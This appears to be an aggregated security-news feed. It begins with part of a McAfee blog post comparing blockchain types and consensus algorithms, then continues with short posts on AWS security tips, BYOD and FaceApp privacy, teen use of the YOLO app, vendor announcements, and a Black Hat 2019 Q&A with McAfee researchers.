You have determined you have a good case for blockchain. Now what? Do you build your own? Do you piggyback off current infrastructure such as Bitcoin scripts or Ethereum contracts? Create your own tokens? There are pros and cons to each. Fortunately, demand has created markets that can simplify your implementation. Which type of blockchain do you need?

Public, private, permissioned

There are three primary types of blockchain: public, private, and permissioned. A public blockchain is the best known. Bitcoin, Ethereum, and most other cryptocurrencies fall into this category. They are generally open to the public without restrictions. Private blockchains are not open to the public. The contributors to the network are well defined, with no outside entities allowed. Organizations may build a private blockchain in house or with a select group to solve a business need. Permissioned blockchains are provided to the public with a set of rules. Nodes are clearly identified, reducing anonymity. Access is provided only by invitation or request. Permissioned blockchains may have additional rules on the allowed behaviors of individuals or groups of nodes.

Public

Public blockchains are good for set-and-forget solutions, particularly if you are not much concerned with who participates in the network. You could build your own or quite easily fork a current blockchain. Technologies such as Ethereum smart contracts have a lot of support and even developing standards for enterprise-ready development. A major drawback to public blockchain is the lack of control of the network behavior and uploaded data. There are ways to partially resolve these concerns, but they can become complicated and limit the options of which technologies you can use. The most common public blockchain technologies are Bitcoin, with limited script support extension, and Ethereum, with more flexible smart contract support.

Pros

  • Improved security due to network participation, particularly on Nakamoto-style consensus models
  • The network is likely to remain active regardless of personal contribution
  • Lots of current implementations that can be used or learned from

Cons

  • The network is likely to remain active regardless of personal contribution
  • Lack of control over the network’s future
  • Internal behaviors and data are visible and difficult to hide

 Private

If you are developing a private blockchain, you may be better served using a database solution. Why? Private blockchains lose most of the security benefits of blockchain while assuming the complexities and speed reduction. They do gain more privacy with internal activity, but those benefits can also be gained in a permissioned blockchain and certainly with control of your own database. One notable exception to this advice is internal testing and prototyping. If you are prototyping, testing, experimenting, or otherwise learning about blockchain technologies, private blockchains can be your personal sandbox. For example, you could compile your own Ethereum network with a hardcoded difficulty rating to privately test new contracts you are developing. You may even wish to create a private blockchain for staging and plan to open it to others in the future. From this perspective, some may choose to accept a security reduction in the short term to ensure long-term reliability.

From a security perspective, it is false to assume that only trusted parties can contribute to a private blockchain. Through use of phishing, botnets, and cloud services, malicious attackers could gain entry to your private blockchain and perform attacks such as Sybil and 51% attacks.[xii] Due to the inherent lack of scale in private networks, these attacks may not only be possible, but also relatively cheap. This type of targeted attack on a private blockchain has not been publicly observed; however, similar attacks have been performed against smaller public blockchains.[xiii] If you choose the private blockchain route there are simple ways to achieve this without reinventing the wheel. One way is to clone any number of blockchain solutions such as Ethereum and configure the clients to connect to a custom network. You may wish to implement additional protection to authenticate valid users while relying on the readily available core technology.

Pros

  • Improved control over the network’s future
  • Internal activity and data can be designated to trusted participants
  • Required features can be tailored to business needs

Cons

  • Severely reduced security due to lack of adoption
  • Slower than any similar database solution
  • Code and network maintenance

Permissioned

Permissioned blockchains strike a balance between public and private blockchains. The best known permissioned blockchain is Hyperledger Fabric, a blockchain framework implementation.[xiv] Hyperledger Fabric enables organizations to maintain some control over their segment of the blockchain while gaining many benefits of broader adaptation. Each segment can control its own consensus model to govern their data, in this case through channels.[xv] This framework is seen as one of the most mature implementations of blockchain with enterprise-ready business solutions.[xvi] Other solutions include Hyperledger Sawtooth, Quorum, and Stellar, which are used by various companies.[xvii] [xviii] Forbes lists 50 top public companies investing in blockchain.[xix]

Pros

  • Improved control over the network’s future
  • Participants can be vetted based on the network’s needs
  • Provides most of the benefits of public blockchains with trade-offs in increased trust

Cons

  • Requires some trust in a central authority or consortium
  • Potentially reduced security based on adaptation
  • Requires commitment to keep your network segment active

Proof of work

Any agreement requires a consensus on the facts. Blockchain maintains what amounts to record entries that all participants agree on. The method on which participants agree to these records is called the consensus algorithm. Most consensus algorithms expend a finite resource to prove that work was required to write to the ledger. For every additional block in the blockchain, increasing resources are spent. This measurement is additive because each block must be computed separately. By knowing the difficulty of the work being done on each block, participants can calculate how much work was done on an entire chain. The longest chain is always considered the active chain. Thus, in a short time, participants will gain a consensus in which the records that make up the longest chain are agreed upon.

Proof-of-work is the most common consensus model. It was the first proof proposed in Satoshi Nakamoto’s paper “Bitcoin: A Peer-to-Peer Electronic Cash System.”[xx] The primary resource used in a proof-of-work algorithm is processing power, initially by the CPU. The most common implementation is based on the SHA-256 hashing algorithm. Each block is hashed using SHA-256, with the goal that the resulting hash is smaller than a target number. This number is chosen based on the speed with which the network mines blocks. If a block has a hash that is lower than or equal to the target number, then it is valid and can be appended to a chain. Lower targets create higher difficulty ratings on each block. These ratings are used to determine which chain used the most resources and is, therefore, the active one. In the following proof-of-work below, the difficulty rating represents a number preceded with five zeros. Any number with fewer than five zeros is bigger than the target and is invalid. The “header hash” of the block is used for this comparison. In lay terms, proof-of-work creates a mathematical problem and turns it into a lottery-like system. The winner is whoever solves the problem first. It offers the bonuses of controlling the speed of writing to the blockchain and enabling users to choose the same blockchain.

Figure 4: Hashing results from a proof-of-work simulator. A valid header hash starts with five zeros.

One of the primary criticisms of proof-of-work is its wasteful consumption of energy. Bitcoin’s implementation consumes enough energy to power 6.7 million households.[xxi] This consumption directly relates to cost when implementing your own blockchain solution. Researchers have sought alternatives to avoid excessive resource costs. This has led to several other consensus models.

Figure 5: Bitcoin power consumption compared to VISA transactions power consumption. Source: Digiconomist.

Proof of elapsed time (PoET)

Proof of elapsed time was first implemented in Hyperledger Sawtooth, originally developed by Intel. It is an example of a consensus model that does not require excess resource use or energy to form a consensus. Much like proof-of-work, it falls into the category of a Nakamoto consensus. The voting system is based on a random wait time; the node with the shortest wait time creates the next block of the chain.

In most cases it is impossible to guarantee a node has both chosen a random wait time and waited the indicated amount. However, using a trusted execution environment could resolve this issue. To properly implement a secure trusted environment, specialized hardware is required. Intel, using Software Guard Extensions (SGX), can execute machine instructions in a secure trusted environment called an enclave. The SGX instruction set in modern Intel processors enables trusted execution.[xxii] Key functionality such as the random number generator and wait time can be executed inside the secure enclave. They prevent attackers, even with local access, from altering the machine instructions, preserving the integrity of the results. By using certificates and signatures, others can further validate that the output did indeed run within the secure enclave.

The main benefit of using PoET instead of other Nakamoto consensus algorithms is that its resource use is low, reducing costs. By using a random wait time instead of processing cycles, the actual power consumption is minimized. However, this comes with two drawbacks:

  • Hardware requirements
  • Required third-party trust

Although the PoET documentation lists only SGX, other platforms exist, including AMD, ARM, and RISC-V.[xxiii] As of this writing, however, no major PoET implementation for these platforms is available, leaving SGX as the only current option. Due to this limitation, only modern Intel processors can participate in a PoET network. Mixed trusted execution environments are not guaranteed for the future. This is entirely dependent on whether a trust mechanism is ever developed between platforms.

PoET also requires third-party trust. In the case of SGX, nodes must trust Intel’s implementation of their secure trusted environment as well as Intel’s services. For code to be validated, the secure container must be confirmed as well. The process requires trust in the Intel Attestation Service (IAS). In the case of self-attestation, the IAS API must show the container has previously been enabled. If self-attestation was not previously enabled, then the API will be called to verify the retrieval of the attestation verification report. Both routes require a trusted response from IAS.

Figure 6: Remote attestation flow.[xxiv]

Practical Byzantine fault tolerance[xxv].

Practical Byzantine fault tolerance takes a different approach, with lessons learned from work in distributed systems. Byzantine fault tolerance was initially designed to measure the dependability of distributed systems. As we discussed earlier, it is more like a voting system than a lottery. Rather than every node spending a resource to prove work, consensus is gained by a leader choosing transaction orders. Validation peers then communicate to one another until there is a consensus on the chosen transactions. Leaders are chosen by validation peer votes, enabling any faulty or malicious leaders to be removed by the network. This model has a few benefits over a resource-based model such as proof-of-work. The primary benefit is the limitation of resource use, a major criticism of many other consensus models. However, this benefit comes at some cost:

  • Reduced resistance against attacks
  • Lack of anonymity
  • Increased traffic

A well-known attack against many blockchain implementations is the 51%, or majority, attack. By controlling more than 50% of the network, an attacker can change the historical records in the ledger as well as assert some control over new blocks being mined. Byzantine fault tolerance, by comparison, requires only one-third of the replication nodes to be compromised.[xxvi] Byzantine fault tolerance sacrifices some security for speed and efficiency, reducing the threshold an attacker needs to meet to compromise the network. Essentially, if an attacker can control one-third of the transaction replication, they can break the validity of the transactions or prevent a valid consensus altogether.

Figure 7: Practical Byzantine fault tolerance. Source: Altoros.

A second compromise with using Byzantine fault tolerance is anonymity. The nature of this model requires node identity to be known so leaders can be chosen and removed if necessary. This precludes public blockchain implementations and suggests permissioned blockchain is a better fit.

The replication nodes also generate extensive network traffic. When the leader decides on the valid transaction, each replication node waits on a designated number of consistent responses from other nodes. This creates a significant amount of network traffic that may be manageable only for small blockchain networks. The network requirements for large implementations become unmanageable in a Byzantine fault tolerance system. Each node must wait until two-thirds of the nodes agree, with every node broadcasting to each other. Permissioned blockchains reduce the communications to subsets of nodes, easing the network requirements to participate.

Proof of stake

Proof-of-Stake consensus takes a route similar to Byzantine fault tolerance’s and benefits from many of the latter’s properties. At its core, proof of stake is a voting system in which ownership of a token provides more weight to the block-creation mechanism. This algorithm claims significant advantages over proof-of-work including security, reduced risk of centralization, and energy efficiency.[xxvii] Proof of stake avoids wasting resources by limiting resource use such as processing power and offers the advantage of producing faster transactions than similar proof-of-work systems. Proof of stake’s integrity is based on the assumption that most users will behave honestly. This may not always be a valid assumption, as observed in a “P + epsilon attack,” in which a malicious user provides bonus rewards to buy votes. The attacker structures the reward so that it is always more profitable to vote with the attacker than otherwise.[xxviii] There have been some implementations and proposals to mitigate these types of attacks, such as the “slasher” method, which penalizes certain behaviors.[xxix] Major implementations of proof of stake include Peercoin and EOS, with future migration plans for Ethereum.[xxx]

Federated Byzantine agreement (Stellar consensus protocol)

When a node hears a statement a sufficient number of times, it assumes the statement is true and any contradiction comes from a faulty node. The agreeing nodes are called a quorum; a portion of the quorum is a quorum slice. In a traditional Byzantine fault tolerance algorithm such as practical Byzantine fault tolerance, the quorum and the quorum slice are interchangeable because the nodes that broadcast the original statements are predefined as leaders that participating nodes agree on. By allowing for the slice, individual nodes can come to an agreement about a particular statement without regard for the entire network. Each individual node can make its agreements based on arbitrary criteria if the statement comes from a sufficient number of other nodes. Agreements can be shared across nodes if there is a quorum intersection between the two nodes (an overlapping node between quorum slices). In other words, if my friend trusts you, then I’ll trust you too.

Figure 8: Chart of anonymity and trust between proof-of-work, proof-of-stake, and federated and non-federated Byzantine fault tolerance consensuses.[xxxi]

Conclusion

New technologies can be confusing, and the excitement can lead to many overexaggerated claims. Blockchain, though it holds a lot of promise, is not “one size fits all” for every problem. Many problems can be adequately solved at low cost using well-understood database implementations. The value of blockchain truly shines when the implementation space has two key elements:

  • Decentralization of owners
  • Lack of trust

It is not enough to have decentralized locations. A single business can have decentralized assets such as branches or organizational structures. There needs to be a clear separation of control between the entities. Databases have long proven capable of working across geographies. However, blockchain can provide a mechanism of agreement when central databases are difficult, if not impossible, to implement.

Any system with assumed trust is also not a good candidate for blockchain. Even if a central database is not an option, an interface to retrieve data and synchronize databases can still be magnitudes of times faster than blockchain. You simply need to trust the data has not been tampered with now or in the future. If the other parties have incentives, such as economic advantages, then trust is diminished and blockchain may help surmount the trust hurdle.

Determining which blockchain to use is not easy. If you simply want to release digital incentives such as rewards points, then tokens built on top of cryptocurrencies could work. If you require complicated rules, then smart contract–supported networks such as EOS and Ethereum may be what you need. Flexibility, privacy and enterprise-ready support can be found on various Hyperledger frameworks. Even privately built blockchains are a reasonable option in some scenarios. Your choice of Nakamoto-style consensus or Byzantine fault tolerance, coupled with concerns for privacy, speed, and scale will help guide your decision. It is important to remain informed of what blockchain can and cannot do. Databases should be your first choice until you can show both decentralization and lack of trust issues. Choosing blockchain for its strengths can transform your business in a positive way. Implementing blockchain where it does not fit could have devastating effects on a business’ ability to scale quickly and operate effectively.

 

———————————————————————————-

 

[i] https://www.ispot.tv/ad/doiE/ibm-blockchain-smart-supply-chain

[ii] https://www.coindesk.com/american-express-upgrades-rewards-program-hyperledger-blockchain/

[iii] https://www.americanbanker.com/news/has-amex-found-a-data-gold-mine-with-its-rewards-blockchain

[iv] https://lo3energy.com/

[v] https://www.siemens.com/press/en/pressrelease/?press=/en/pressrelease/2017/energymanagement/pr2017120121emen.htm

[vi] https://docs.wixstatic.com/ugd/bd1fb8_4e16d895b37e4b2a9d4dafdbb82cef2a.pdf

[vii] http://patft.uspto.gov/netacgi/nph-Parser?Sect1=PTO2&Sect2=HITOFF&u=%2Fnetahtml%2FPTO%2Fsearch-adv.htm&r=1&p=1&f=G&l=50&d=PTXT&S1=9,928,746.PN.&OS=pn/9,928,746&RS=PN/9,928,746

[viii] https://novablitz.com

[ix] https://bitcoin.org/bitcoin.pdf

[x] https://medicalchain.com/en/

[xi] https://www.debeersgroup.com/media/company-news/2018/de-beers-group-successfully-tracks-first-diamonds-from-mine-to-r

[xii] https://en.bitcoin.it/wiki/Weaknesses

[xiii] https://www.mcafee.com/enterprise/en-us/assets/reports/rp-blockchain-security-risks.pdf

[xiv] https://www.hyperledger.org/

[xv] https://www.ibm.com/developerworks/cloud/library/cl-blockchain-private-confidential-transactions-hyperledger-fabric-zero-knowledge-proof/index.html

[xvi] https://www.ibm.com/blockchain/hyperledger

[xvii] https://medium.com/coinmonks/comparison-of-permissioned-blockchains-6537a0694df0

[xviii] https://docs.google.com/spreadsheets/d/12PPUxqDaTSR2K2gNQJ7EqIN1ezCiwwa51GZTcN3O6T8/edit#gid=0

[xix] https://www.forbes.com/sites/michaeldelcastillo/2018/07/03/big-blockchain-the-50-largest-public-companies-exploring-blockchain/#4cbf04e42b5b

[xx] https://bitcoin.org/bitcoin.pdf

[xxi] https://digiconomist.net/bitcoin-energy-consumption

[xxii] https://github.com/ethereum/wiki/wiki/Proof-of-Stake-FAQs

[xxiii] https://sawtooth.hyperledger.org/docs/core/releases/1.0/introduction.html

[xxiv] https://software.intel.com/en-us/articles/code-sample-intel-software-guard-extensions-remote-attestation-end-to-end-example

[xxv] https://blockonomi.com/practical-byzantine-fault-tolerance/

[xxvi] http://pmg.csail.mit.edu/papers/osdi99.pdf

[xxvii] https://github.com/ethereum/wiki/wiki/Proof-of-Stake-FAQs

[xxviii] https://blog.ethereum.org/2015/01/28/p-epsilon-attack/

[xxix] https://github.com/ethereum/wiki/wiki/Proof-of-Stake-FAQs

[xxx] https://en.wikipedia.org/wiki/Proof-of-stake

[xxxi] https://medium.com/@lkolisko/in-depth-on-differences-between-public-private-and-permissioned-blockchains-aff762f0ca24

The post Demystifying Blockchain: Sifting Through Benefits, Examples and Choices appeared first on McAfee Blogs.

IDG Contributor Network: How to establish a security culture within IT

Most corporations suffer from the delusion that a small team of cybersecurity experts buried within the bowels of IT (or elsewhere) can protect the other 99%+ of the company’s workforce from exposing business-sensitive or business-critical information to malicious external actors.  Unfortunately, this same delusion exists within many IT shops.  95%+ of the IT staff members blithely assume that the security team (which may only represent 5% or less of the total IT staff) will keep them all out of trouble.  These delusions have proven to be false many, many times but they persist nevertheless.

In the current age of widespread security awareness, almost every enterprise has established a security program.  A security program consists of policies established by the CISO or ranking security leader, operational controls that enforce the policies, work rules and procedures that implement the controls, tools that support the rules and procedures, and a security operations team that employs the tools to monitor the rules and procedures and audit the consistency and effectiveness of the controls.  This sounds complicated but the key components of a successful security program are well understood by most IT shops and have been implemented to one degree or another in most enterprises.

To read this article in full, please click here

Ten tips for better AWS cyber security

Amazon Web Services (AWS) offers a huge variety of benefits for businesses, and organisations are increasingly opting for cloud solutions for their data, website, and applications. However, there are still some businesses using AWS that have not put the proper cyber security controls in place. Here we take a look at ten great tips to improve your AWS cyber security.

  1. Understand your responsibilities

When you work with any kind of web services provider you need to understand what you are responsible for and what will be managed by the provider. This is absolutely true in terms of AWS – where Amazon runs its so-called ‘shared responsibility model’. In this model AWS is responsible for protecting the infrastructure of the AWS cloud system including hardware, software, and networking.

On the other hand, you as the customer is responsible for customer data, identity and access management, firewall and anti-virus configuration, and issues such as data encryption. It can sometimes be necessary to work with outside agencies to manage your own cyber security.

  1. Ensure you have a coherent strategy in place

There is often a debate regarding cyber security: should you put controls in place to protect your business first and then update the system as necessary, or should you prioritise establishing a coherent strategy first, before investing in expensive services and tools? You might assume that you need to put defences in place immediately, regardless of whether they are right for your business, but in fact this can often be expensive and difficult to change at a later date.

In the majority of cases it is important that you should put a strategy in place first. With the complex requirements of modern cyber security, you need to understand the needs of your operation before you commit to services.

  1. Use a secure password policy

You need to ensure that your users are protecting themselves with strong passwords. You should put a secure password policy in place – this should not only mean that the passwords have specific requirements (such as: at least 8 characters; numbers, letters and symbols used; etc.) but also that the passwords should need to be updated periodically, and must be unique from previously used passwords.

The policy needs to be configured in the settings of your system so that there is no option for users to not follow them.

  1. Clearly define users’ roles

One major cyber security issue can occur in AWS if a business fails to define and set user roles. If all users have the same permissions and can access the whole of the system then your company is at serious risk if just one of them is compromised by cybercriminals.

You can easily manage user roles in your AWS account, ensuring that staff only have access to the data and files that they need in order to do their job. Of course, it is also important to regularly re-assess accounts to be sure that individuals do not have access to information across the whole of the system.

  1. Opt for a managed service if you require technical expertise

If you want to use AWS services for its many benefits but you are concerned that you do not have the kind of in-house technical expertise required to do so successfully, it can be a great idea to use a managed service. AWS specialists, Wirehive, say:

“There’s no doubt that managed AWS solutions can be extremely powerful and valuable for businesses. However, with the range of tools and options available to AWS businesses, day-to-day infrastructure management activities of the service can be demanding and complicated, taking significant expertise and resources away from more profitable tasks.”

You can work with companies offering a wide range of options to suit your needs, whether you are looking for 24/7 support and the whole system managed for you, or you just need expertise on specific issues.

  1. Put written procedures in place

It is a great idea to ensure that you have your cyber security procedures written up so that they can be accessed by anyone in the company. It is important to have a documented record of plans so that staff are ready to implement them.

  1. Include security at all layers

Yes, it is important to have cyber-security solutions such as firewalls and anti-virus software, but they are no longer enough to keep your business secure. When you work with AWS it is important to provide cyber security solutions for all layers of your business. This means everything from endpoint security measures to integrated SIEM services.

Once again, it is important to note here that if you do not take expert advice on the right sort of security services that you need, you can end up spending a large part of your budget on services that aren’t really doing anything for you.

  1. Encrypt sensitive data

AWS encourages its users to encrypt their data, and even offers you the option encrypt with the click of a button using their native encryption. However, you may prefer to implement your own encryption in ensure that you are protected to your own standards.

Additionally, it should be pointed out that encrypting data will not slow down your system, as some believe – it is simply an important method of securing your data.

  1. Never use expired certificates

It might seem like common sense, but it is still a problem for some AWS users. You should not be using expired SSL/TLS certificates – they may not be compatible with AWS services anymore, and this can create a whole range of issues.

    10. Backup everything

AWS offers backup solutions, and they really are worth considering. Every organisation needs to ensure that its data is backed up in case of either a ransomware-style cyber-attack or some other major issue.

 

The post Ten tips for better AWS cyber security appeared first on CyberDB.

FaceApp: The App That Ages Your Employees and Your CIO

Bring Your Own Device (BYOD) is one of the defining characteristics of the modern mobile workforce but it’s also a weakness many businesses aren’t paying enough attention to. It’s likely many corporate BYOD users  have downloaded a hot new app named FaceApp. An AI face editor, this app is rising in popularity all thanks to the FaceApp Challenge — where people leverage the app’s old age filter to appear elderly in photos and post the results on social media. However, the application has also drummed up some discussions around its current privacy permissions,

Sharing More Than Just a Laugh

Though the company has stated no malicious intent, it’s still questionable if access to other data has been given without permission from these users. In any event, the scenario is one that keeps security practitioners up at night. Unsecured mobile devices are an easy entry point to spread malware, obtain credentials and gain access to corporate systems that contain even more sensitive data.

From FaceApp to Fending Off Threats

With apps creating gateways to corporate data, employees need to ensure all their devices have an extra layer of security added. To safeguard an organization’s network, lock down any corporate data, and ensure your CIO can get a decent night’s rest, teams should adopt an agile and intelligent security solution which treats mobile devices like any other endpoint. McAfee MVISION Mobile provides an always-on defense for iOS and Android devices and analyzes deviations surrounding device behavior to make determinations about indicators of compromise to accurately identify advanced threats. For those who are transitioning to a more tactical threat hunting role and exploring Endpoint Detection and Response tools (EDR) ignoring mobile security or using an approach that doesn’t integrate with endpoint platforms and EDR tools will pose another problem – a window of opportunity for threat actors. Mobile security is more than just a checkbox for an elevated approach to security. Like a good soldier on the frontlines that notifies his commander of the enemy’s approach, mobile security needs to elevate alerts to the SecurityOperations team. EDR that relies on manual correlation of mobile defense alerts or observations will extend the opportunity for an attacker to move from the mobile device to more critical systems.

Before the next FaceApp challenge emerges, I encourage you to evaluate your mobile device coverage. Is it automating actions and moving quickly when malicious apps or connections attempt to reach your corporate network through a mobile device? Does your current approach to mobile security elevate critical events to your security team? If not, it might be time to consider a more integrated approach that elevates your security posture with the insights to identify the next potential threat before it becomes a headline.

To learn more about effective endpoint security strategy, be sure to follow us @McAfee and @McAfee_Business.

The post FaceApp: The App That Ages Your Employees and Your CIO appeared first on McAfee Blogs.

New Customer Ideas Portal: Add Your Voice to Our Roadmap

Customer-inspired product enhancement is not something new at Veracode. In fact, since 2016, we have implemented more than 1,100 product enhancement requests from individual customers. To create greater transparency into the product management process, we created a self-service feedback portal – Ideas – in the Veracode Community in 2017. This portal is where every Veracode customer can submit product feedback and weigh in on other customers’ submissions by voting and adding comments.

We’re excited to announce an upgrade to the portal this summer – Ideas 2.0. The enhancements include:

  • Clearer fields to describe customers’ ideas
  • Configurable email notifications
  • A centralized Ideas dashboard
  • An opportunity to follow the dialogue around specific ideas of interest

Notifications

One thing we learned from customers using the existing Ideas portal is the pain of needing to log into the Community or reach out to Veracode staff to track the status of Ideas. The new Ideas portal keeps you informed on updates to the Ideas you have submitted, or those you’ve chosen to follow, whether it’s a new comment or a status change.

Dashboard

You also have access to a dashboard in the Community where you can review the status of all your Ideas in one place, the My Ideas dashboard. If you manage your organization’s AppSec program, you can have a dashboard that gives visibility into all submitted Ideas across your entire organization through the Superuser status. Just request that status from your Security Program Manager.

Subscribing

Finally, you have the option to subscribe to an Idea that resonates with your needs. By subscribing to an Idea, you have the same visibility into the Idea status and discussion with product management as the original submitter does. We added this functionality in the spirit of harnessing the power of sharing. In driving an Idea from inception to implementation, the knowledge, insights, and experience you share empower not just a new feature, but a community of developers, security practitioners, and Veracode product experts.

Get started

If you have not been on the Ideas portal previously, now is the best time to try. How can you get started? The Ideas portal sits in the Veracode Community. While the content on the Veracode Community is available to customers and non-customers, the Ideas portal is only available to Veracode customers. If you are a Veracode customer, log in (or register, if this is your first visit) to the Community and start adding your voice to our roadmap. You can check out this knowledge article for more details. Questions about the Ideas portal or comments on your Community experience? Ask or share in the Community Exchange!

 

As MENA moves to cloud, CIOs look to keep data in-country, study shows

With cloud adoption fast on the rise throughout the Middle East and North Africa, GDPR compliance is starting to loom top of mind for IT leaders.

Eighty-four percent of organizations in the Middle East are currently using the cloud or planning to adopt cloud computing in the next 12 to 24 months , according to the Ponemon Institute’s 2019 Middle East Encryption Trends report.

The move to the cloud is picking up speed particularly in the UAE, where locally based cloud options for the private and public sector alike are expanding as tech giants like Microsoft, Oracle and Amazon launch in-country options.

To read this article in full, please click here

Download Cloudbric’s New Security Extension For Plesk

Cloudbric is proud to announce the release of their much-awaited security extension (inclusive of WAF and DDoS protection) for Plesk, an industry-leading web solution platform.

Plesk is an all-in-one platform that allows developers, system administrators, and resellers to run, manage and secure their domains and servers via their control panel solutions and extensions.

Through this partnership with Plesk, we aim to simplify security for both users and small to mid-size businesses.

With the Cloudbric WAF extension, it’s easier for current Plesk server users, web hosting providers, and web professionals to access our web security services with just one click.

Plesk users can also manage Cloudbric settings and analytics without having to switch between applications.

Furthermore, by registering one of the lowest false-positive rates on the market, Plesk users like web hosting providers can deliver an affordable, high performing web application security solution to their own end users.

Learn more about our security extension and all its features via our product page on Plesk:

https://www.plesk.com/extensions/cloudbric/


Make sure to follow us on our social media platforms (LinkedInTwitter, and Facebook) and our recently opened Telegram Announcement Channel for the latest updates!

The post Download Cloudbric’s New Security Extension For Plesk appeared first on Cloudbric.

YOLO: What Parents Need to Know About the Anonymity App Kids Use with Snapchat

If your kids use Snapchat, chances are they also use the popular new app YOLO along with it. Since it’s debut in May YOLO has been downloaded over 5 million times, and kids absolutely love it. Whether or not parents love it, however, remains to be seen.

But before rendering YOLO yet one more risky app (because frankly, all apps are dangerous if used recklessly) let’s take a closer look at what the attraction is for teens and how we can equip them to use it wisely.

Why kids love it

Snapchat is already where kids spend a lot of their time, and YOLO is an app specifically designed to work in tandem with the Snapchat interface. YOLO enhances that experience by allowing Snapchat users to invite other Snapchat friends to ask or answer questions anonymously. And who hasn’t been curious about what other people think about them or wish they could access how someone “really” feels about something? Kids can ask any number of questions such as if people think they are funny, if their new hairstyle works, how to lean on a big decision, or if others share their fear of clowns. The possibilities are endless. This kind of connection — without having to put your name on your answer — offers some a fresh level of honesty and peer connection.

What makes it risky

The exact reasons kids love YOLO — anonymity, curiosity, honesty — are why the app could (and by some reports already has) turn into the latest breeding ground for bullying. Similar to anonymous apps preceding YOLO such as Yik Yak and Saraha, users can say whatever they want without attaching their name. Apple and Google stores have banned similar anonymous apps over accusations of hate speech and bullying.

What parents can do 

Talk about the app with your kids. Pull YOLO up and see how your child is using the Q&A app and the kinds of questions and responses he or she is collecting. Discuss any concerns you see.

Discuss the risks of anonymity. There’s a psychological phenomenon known as the online disinhibition effect, which means people feel less attached and responsible for their actions when they feel removed from their real identities. In short, when people can be anonymous online, they tend to say things they’d never say to someone in person. Warn kids that when they open themselves up to anonymous comments, they can also be opening themselves up to hurt. So, proceed with caution.

Check privacy. The YOLO app is very vague about how its user data is shared. As with any popular app, be mindful of the permissions you grant. Periodically, consider going through your phone settings to review and edit what information an app is collecting. Check to see if an app has access to your photos, location, social map, health information, purchasing habits, contacts, calendar, camera, or more.

Limit YOLO circle. Likely, because the YOLO app went viral so quickly, the site does not include app policies or guidelines or how to report abuses, which is a problem. The only nod to safety is in a brief app description in the Apple store: “YOLO is for positive feedback only. Be kind, respectful, show compassion with other users; otherwise, you will be banned. Please, be mindful of what you send.” To reduce potential bullying, advise kids to only send their questions to people they know and trust with kind responses. If problems arise, encourage kids to delete the app.

Words have power. Removing your face and name from a comment does not dilute the power of the words shared. Remind kids that their words can either be used to build someone up or tear them down and that being “honest” with someone doesn’t include giving mean spirited opinions or taking part in online trends that allow an “anything goes” mentality, as was the case with the TBH (To Be Honest) app.

Consider the tone of a text. Remind your child that even when someone posts something, they may consider funny, it may not be funny to the person on the receiving end. Because of the vulnerability factor of Q & A apps, they can cause unnecessary drama. Intent and inflection often get lost online, and even a seemingly small comment can quickly escalate into a big deal. With more social networks taking steps to reduce online hate speech and bullying, users must do their part and think before posting sensitive comments.

Stress responsibility, and empathy. Relating to others with empathy — putting oneself in the shoes of another person to understand and share their feelings — is often harder to do online than face-to-face. Stress to your child the importance of being responsible online and remembering the real people, with real feelings on the other side of a blank text box.

New apps come out every day. Some catch on like wildfire, like YOLO, and others have traction for a while then fade into cyber oblivion. Regardless of an app’s staying power, discuss app safety with your kids openly and often. Also, as an added layer of protection on devices, consider security software to monitor device activity and block inappropriate apps and websites.

The post YOLO: What Parents Need to Know About the Anonymity App Kids Use with Snapchat appeared first on McAfee Blogs.

Black Hat 2019: Q&A with McAfee

Now in its 22nd year, Black Hat is an information security event showcasing the latest research, newest technology, scariest threats, and biggest trends. Around 19,000 security professionals will be taking over Las Vegas’s Mandalay Bay during the six-day event.

Before the security world convenes the first week in August, I spoke with McAfee leadership and threat researchers about the major themes we should expect to see at Black Hat and DEF CON this year.

Q: What should attendees watch out for at this year’s Black Hat?

Steve Povolny, Head of Advanced Threat Research: This year will piggyback on some of the themes we’ve seen developing in recent Black Hat briefings, including a growing focus on emerging technologies such as autonomous and connected vehicles, blockchain, and 5G, among many others. Some of the key industries under extra scrutiny include industrial control systems, aviation and aerospace, and supply chain. Finally, there is a continued and now-standard focus on crypto, mobile, and cloud/virtualization security.

Douglas McKee, Senior Security Researcher: Once again, Black Hat will have a great variety of talks for both the offensive- and defensive-minded individual. One of the newest topics we are starting to see will be on deepfakes. As social engineering continues to have a large impact on every security discipline, the concept of deepfakes becomes something to watch out for.

Q: What topic(s) do you think will play an important role at this year’s Black Hat and DEF CON?

Povolny: I foresee vehicle security continuing to generate heavy interest, as well as cloud and virtualization attacks. The more popular mobile device sessions are typically well attended, and we’ve had a spate of recent high-profile vulnerabilities that may drive even heavier traffic this year. Industrial controls are receiving renewed focus, though I’m surprised to see little to nothing in the area of medical devices given the security research community’s focus on this topic for the last 12-18 months.

McKee: Topics focused around our critical infrastructure and transportation will continue to play an important role, as these topics are growing fast with a security focus. As major companies continue to strive towards greater automation, how we protect this automation will play a key role in our everyday lives.

Philippe Laulheret, Senior Security Researcher: Although it’s not new, hackers and security researchers are looking into the security of secondary targets and then pivoting towards their main goal, which is usually hardened and more difficult to reach. Of particular interest are two talks centering on communication modules, and few others concerning equipment. Targeting VoIP phones, printers, faxes, etc., is really interesting: These devices sit on the network, are hard to monitor, and if compromised, can be used as a stepping stone to attack other machines. At the same time, they’re also valuable targets for eavesdropping or stealing confidential information.

Q: What is one of the biggest cyber concerns in 2019, and how can consumers or enterprises stay protected?

Povolny: The BlueKeep vulnerability (CVE-2019-0708) is a prime example of what should be top of mind for both enterprises and consumers. As WannaCry quickly taught the world, eliminating legacy operating systems and defunct protocols should be a foremost priority. These systems tend to be the most valuable targets, as attackers can reach millions of targets quickly through self-propagating code. I anticipate we will likely still see BlueKeep exploited publicly, perhaps (and maybe likely) turned into a worm in 2019. This is a rare opportunity for consumers and enterprise to address a likely breach before it happens, and to invest extra attention into removing or securing similar systems.

McKee: In 2019 it is almost impossible to buy a device that doesn’t have an IP address; everything is network connected. As both consumers and enterprises, we need to stay vigilant about what devices and information we are allowing to connect to the internet. Both our homes and offices are only as strong as our weakest device. The industry needs to continue to invest in developing secure products from the beginning while consumers direct extra attention to what they are buying.

Q: What are you hoping to get out of Black Hat or DEF CON this year and what do you want your attendees to take away from your session?

Povolny: I’m always interested in which topics tend to generate the most interest and why. So, I will be curious to see if my assessments of the most interesting topics are on point and will be spending additional time networking with researchers and attendees to find out what is driving them towards the topic. I’ll be speaking on IoT security, which encompasses threats across many of the industries, devices, protocols and technologies being presented at this year’s Black Hat. I’m hoping to give attendees a better understanding of the breadth and depth of the problem space and what the impacts are to them by showing them first-hand research from McAfee’s Advanced Threat Research team on a few IoT targets.

